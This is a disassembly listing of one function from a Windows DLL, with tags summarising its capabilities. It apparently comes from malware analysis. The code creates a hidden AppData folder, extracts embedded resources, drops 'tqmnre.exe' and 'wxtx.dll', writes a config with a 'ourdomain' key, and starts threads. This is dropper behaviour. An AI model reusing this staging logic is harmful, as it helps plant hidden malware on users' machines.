Function at 0x18002a750
Capabilities:
Create directory
Create thread
Delete file
Extract resource via kernel32 functions
Get common file path
Set file attributes
Write file on windows

Disassembly:
sub rsp, 0x3c8
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x3b0], rax
lea rcx, [rsp + 0x81]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x80], 0
call fcn.180055310
lea rdx, [rsp + 0x80]
xor r9d, r9d
mov qword [rsp + 0x20], rdx
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x18002a7c3
xor eax, eax
mov rcx, qword [rsp + 0x3b0]
xor rcx, rsp
call fcn.180050540
add rsp, 0x3c8
ret
xor eax, eax
mov qword [rsp + 0x3d0], rbx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x3e8], rdi
mov byte [rsp + 0x40], 0
mov qword [rsp + 0x3c0], r12
mov qword [rsp + 0x41], rax
mov qword [rsp + 0x49], rax
mov qword [rsp + 0x51], rax
mov dword [rsp + 0x59], eax
mov word [rsp + 0x5d], ax
mov byte [rsp + 0x5f], al
call fcn.180034630
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x80]
lea rdx, [rsp + 0x40]
repne scasb al, byte [rdi]
movzx eax, word [0x180080268]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
lea rdi, [rsp + 0x80]
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x18002a840
lea rcx, [rsp + 0x80]
call qword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
jne 0x18002a884
lea rcx, [rsp + 0x80]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rsp + 0x80]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor eax, eax
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], 0
mov qword [rsp + 0x61], rax
mov qword [rsp + 0x69], rax
mov qword [rsp + 0x71], rax
mov dword [rsp + 0x79], eax
mov word [rsp + 0x7d], ax
mov byte [rsp + 0x7f], al
call fcn.180034540
xor edx, edx
mov eax, 0x5c
mov qword [rsp + 0x41], rdx
mov word [rsp + 0x40], ax
or rcx, 0xffffffffffffffff
xor eax, eax
mov qword [rsp + 0x49], rdx
mov qword [rsp + 0x51], rdx
mov dword [rsp + 0x59], edx
mov word [rsp + 0x5d], dx
mov byte [rsp + 0x5f], dl
lea rdi, [rsp + 0x40]
lea rdx, [rsp + 0x60]
repne scasb al, byte [rdi]
xor ecx, ecx
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x18002a8f0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
mov eax, dword [str..tmp]
mov rcx, qword [0x1800a2978]
mov dword [rdi - 1], eax
movzx eax, byte [0x180082198]
lea r8, [0x180082bdc]
mov edx, 0x6a
mov qword [rsp + 0x3d8], rbp
mov byte [rdi + 3], al
mov qword [rsp + 0x3e0], rsi
call qword [sym.imp.KERNEL32.dll_FindResourceA]
xor r12d, r12d
mov rdi, rax
test rax, rax
je 0x18002aa1b
mov rcx, qword [0x1800a2978]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, qword [0x1800a2978]
mov rdx, rdi
mov esi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, r12
lea r8, [0x1800a3620]
mov rbp, rax
nop word [rax + rax]
movzx ecx, byte [rsp + rdx + 0x80]
inc rdx
mov byte [rdx + r8 - 1], cl
test cl, cl
jne 0x18002a9a0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r8
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x40]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x18002a9d0
lea rdx, [0x180080678]
mov rcx, r8
call fcn.180050a28
mov rdi, rax
test rax, rax
je 0x18002aa12
mov rdx, rsi
mov r9, rax
mov r8d, 1
mov rcx, rbp
call fcn.180050ccc
mov rcx, rdi
call fcn.1800511e8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [0x1800a50f4], r12d
je 0x18002aa62
mov rcx, qword [0x1800a2978]
lea r8, [0x180082bdc]
mov edx, WSAGetLastError
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x18002aa9e
lea r8, [0x1800a3730]
lea rdx, str.wxgg.tmp
lea rcx, [rsp + 0x80]
mov r9, rax
call fcn.1800335f0
jmp 0x18002aa9e
mov rcx, qword [0x1800a2978]
lea r8, [0x180082bdc]
mov edx, 0x85
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x18002aa9e
lea r8, [0x1800a3730]
lea rdx, str.wxgg.tmp
lea rcx, [rsp + 0x80]
mov r9, rax
call fcn.1800335f0
mov rcx, r12
lea rbx, [0x1800a3840]
nop dword [rax + rax]
movzx eax, byte [rsp + rcx + 0x80]
inc rcx
mov byte [rcx + rbx - 1], al
test al, al
jne 0x18002aab0
xor eax, eax
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x30], r12
mov rdi, rbx
xor r9d, r9d
xor r8d, r8d
repne scasb al, byte [rdi]
mov rax, qword [str.config.ini]
mov edx, 0x40000000
mov qword [rdi - 1], rax
mov eax, dword [0x1800821b8]
mov rcx, rbx
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
mov dword [rdi + 7], eax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [0x1800a2da0]
lea rdx, str.home
lea rcx, [0x1800806a0]
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
lea r8, [0x1800a2fc0]
lea rdx, str.ourdomain
lea rcx, [0x1800806a0]
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
lea r8, [0x1800821c0]
lea rdx, str.black
lea rcx, [0x1800806a0]
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
cmp dword [0x1800a3948], r12d
je 0x18002ab97
lea r8, [0x180080698]
lea rdx, str.Type
lea rcx, [0x1800806a0]
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
jmp 0x18002abb5
lea r8, [0x1800821f4]
lea rdx, str.Type
lea rcx, [0x1800806a0]
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
cmp dword [0x1800a418c], r12d
je 0x18002abde
lea r8, [0x180080698]
lea rdx, [0x18008069c]
lea rcx, [0x1800806a0]
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
jmp 0x18002ac05
cmp dword [0x1800a4188], r12d
je 0x18002ac05
lea r8, [0x1800821f8]
lea rdx, [0x18008069c]
lea rcx, [0x1800806a0]
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
cmp dword [0x1800a4dc8], r12d
je 0x18002ac2c
lea r8, [0x180080698]
lea rdx, [0x180080e08]
lea rcx, [0x1800806a0]
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
cmp dword [reloc.WS2_32.dll_accept], r12d
je 0x18002ac53
lea r8, [0x18002a330]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, [rsp + 0x2a1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x2a0], r12b
call fcn.180055310
lea rcx, [rsp + 0x191]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x190], r12b
call fcn.180055310
lea rcx, [rsp + 0x190]
xor r9d, r9d
mov qword [rsp + 0x20], rcx
lea edx, [r9 + 0x1a]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x18002acc5
lea rdx, [rsp + 0x190]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
jmp 0x18002ad15
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x190]
repne scasb al, byte [rdi]
mov eax, dword [str._tmep_]
lea rcx, [rsp + 0x190]
mov dword [rdi - 1], eax
movzx eax, word [0x1800830e8]
mov word [rdi + 3], ax
movzx eax, byte [0x1800830ea]
mov byte [rdi + 5], al
call qword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
jne 0x18002ad15
lea rcx, [rsp + 0x190]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rcx, qword [0x1800a2978]
lea r8, [0x180082bdc]
mov edx, WSAGetLastError
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdi, rax
test rax, rax
je 0x18002adf7
mov rcx, qword [0x1800a2978]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, qword [0x1800a2978]
mov rdx, rdi
mov esi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, r12
mov rbp, rax
nop
movzx ecx, byte [rsp + rdx + 0x190]
inc rdx
mov byte [rsp + rdx + 0x29f], cl
test cl, cl
jne 0x18002ad70
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x2a0]
repne scasb al, byte [rdi]
mov rax, qword [str.sm7pLn.tmp]
lea rdx, [0x180080678]
mov qword [rdi - 1], rax
movzx eax, word [0x180082208]
lea rcx, [rsp + 0x2a0]
mov word [rdi + 7], ax
movzx eax, byte [0x18008220a]
mov byte [rdi + 9], al
call fcn.180050a28
mov rdi, rax
test rax, rax
je 0x18002adee
mov rdx, rsi
mov r9, rax
mov r8d, 1
mov rcx, rbp
call fcn.180050ccc
mov rcx, rdi
call fcn.1800511e8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rsi, qword [rsp + 0x3e0]
mov rbp, qword [rsp + 0x3d8]
mov rdx, r12
lea rbx, [0x1800a3950]
movzx eax, byte [rsp + rdx + 0x190]
inc rdx
mov byte [rdx + rbx - 1], al
test al, al
jne 0x18002ae11
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
mov rax, qword [str.tqmnre.exe]
lea rcx, [rsp + 0x2a0]
mov qword [rdi - 1], rax
movzx eax, word [0x180082218]
mov rdx, rbx
mov word [rdi + 7], ax
movzx eax, byte [0x18008221a]
mov byte [rdi + 9], al
call fcn.180033c30
mov rdi, qword [rsp + 0x3e8]
test eax, eax
je 0x18002ae7b
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x18002ae8b
lea rcx, [rsp + 0x2a0]
mov rdx, rbx
call fcn.1800505c4
mov rbx, qword [rsp + 0x3d0]
cmp dword [0x1800a4ed4], r12d
je 0x18002af0c
cmp dword [0x1800a50f4], r12d
je 0x18002af0c
mov rcx, qword [0x1800a2978]
lea r8, [0x180082bdc]
mov edx, 0x86
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x18002aee1
lea r8, [0x1800a5880]
lea rdx, str.wxtx.dll
lea rcx, [rsp + 0x80]
mov r9, rax
call fcn.1800335f0
lea rcx, [0x1800a5880]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea r8, [0x18002a720]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
mov r12, qword [rsp + 0x3c0]
mov rcx, qword [rsp + 0x3b0]
xor rcx, rsp
call fcn.180050540
add rsp, 0x3c8
ret